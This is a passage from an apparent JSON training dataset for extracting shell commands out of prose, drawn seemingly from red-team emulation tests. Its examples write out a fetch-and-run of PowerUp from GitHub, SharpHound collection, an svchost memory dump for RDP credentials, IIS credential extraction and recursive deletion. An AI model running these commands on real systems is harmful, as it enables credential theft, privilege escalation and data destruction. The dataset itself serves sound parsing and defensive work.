\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    A C script can be executed to chown a file to root with the command: sudo #{compiled_file} #{source_file}; To launch Calculator by replacing the loginwindow preferences, use the following command: cp #{calc_plist_path} ~/Library/Preferences/ByHost/com.apple.loginwindow.plist",
    "output": "{\"command_list\": [\"sudo #{compiled_file} #{source_file}\\n\", \"cp #{calc_plist_path} ~/Library/Preferences/ByHost/com.apple.loginwindow.plist\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To remove the temporary directory and all its contents recursively, use the following command: rm -rf #{folder_to_delete}; For secure deletion of the temporary file, execute the command: shred -u #{file_to_shred}",
    "output": "{\"command_list\": [\"rm -rf #{folder_to_delete}\\n\", \"shred -u #{file_to_shred}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The ver command provides details about the operating system version: ver.; The system will show all volume shadow copies, their creation times, and storage locations when you run the command: vssadmin.exe list shadows",
    "output": "{\"command_list\": [\"ver\", \"vssadmin.exe list shadows\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The svchost.exe process contains RDP plain-text credentials, which can be extracted by running the following command: $ps = (Get-NetTCPConnection -LocalPort 3389 -State Established -ErrorAction Ignore)\nif($ps){$id = $ps[0].OwningProcess} else {$id = (Get-Process svchost)[0].Id }\nC:\\Windows\\System32\\rundll32.exe C:\\windows\\System32\\comsvcs.dll, MiniDump $id $env:TEMP\\svchost-exe.dmp full. Upon successful execution, a dump file will be created at $env:TEMP\\svchost-exe.dmp.; AppCmd.exe is a command line utility for managing IIS web servers, and adversaries can extract service account credentials by running the following commands: C:\\Windows\\System32\\inetsrv\\appcmd.exe list apppool /@t:*\nC:\\Windows\\System32\\inetsrv\\appcmd.exe list apppool /@text:*\nC:\\Windows\\System32\\inetsrv\\appcmd.exe list apppool /text:*",
    "output": "{\"command_list\": [\"$ps = (Get-NetTCPConnection -LocalPort 3389 -State Established -ErrorAction Ignore)\\nif($ps){$id = $ps[0].OwningProcess} else {$id = (Get-Process svchost)[0].Id }\\nC:\\\\Windows\\\\System32\\\\rundll32.exe C:\\\\windows\\\\System32\\\\comsvcs.dll, MiniDump $id $env:TEMP\\\\svchost-exe.dmp full\\n\", \"C:\\\\Windows\\\\System32\\\\inetsrv\\\\appcmd.exe list apppool /@t:*\\nC:\\\\Windows\\\\System32\\\\inetsrv\\\\appcmd.exe list apppool /@text:*\\nC:\\\\Windows\\\\System32\\\\inetsrv\\\\appcmd.exe list apppool /text:*\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To view the kernel's routing tables, specifically the default route, use the following command: netstat -r | grep default; You can display cached TCP metrics for source and destination addresses, filtering out localhost entries, with the command: ip tcp_metrics show |grep --invert-match \"^127\\.\"",
    "output": "{\"command_list\": [\"netstat -r | grep default\\n\", \"ip tcp_metrics show |grep --invert-match \\\"^127\\\\.\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For pushing files remotely, execute this rsync command: rsync -r #{local_path} #{username}@#{remote_host}:#{remote_path}\n; To perform a remote file copy (pull) operation, use the following command: rsync -r #{username}@#{remote_host}:#{remote_path} #{local_path}",
    "output": "{\"command_list\": [\"rsync -r #{local_path} #{username}@#{remote_host}:#{remote_path}\\n\", \"rsync -r #{username}@#{remote_host}:#{remote_path} #{local_path}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The UFW settings file at /etc/ufw/ufw.conf controls firewall initialization and logging, and can be modified with the command: echo \"# THIS IS A COMMENT\" >> /etc/ufw/ufw.conf\ngrep \"# THIS IS A COMMENT\" /etc/ufw/ufw.conf; The Uncomplicated Firewall configuration can be modified by executing this command: echo \"# THIS IS A COMMENT\" >> /etc/ufw/sysctl.conf\ngrep \"# THIS IS A COMMENT\" /etc/ufw/sysctl.conf",
    "output": "{\"command_list\": [\"echo \\\"# THIS IS A COMMENT\\\" >> /etc/ufw/ufw.conf\\ngrep \\\"# THIS IS A COMMENT\\\" /etc/ufw/ufw.conf\\n\", \"echo \\\"# THIS IS A COMMENT\\\" >> /etc/ufw/sysctl.conf\\ngrep \\\"# THIS IS A COMMENT\\\" /etc/ufw/sysctl.conf\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
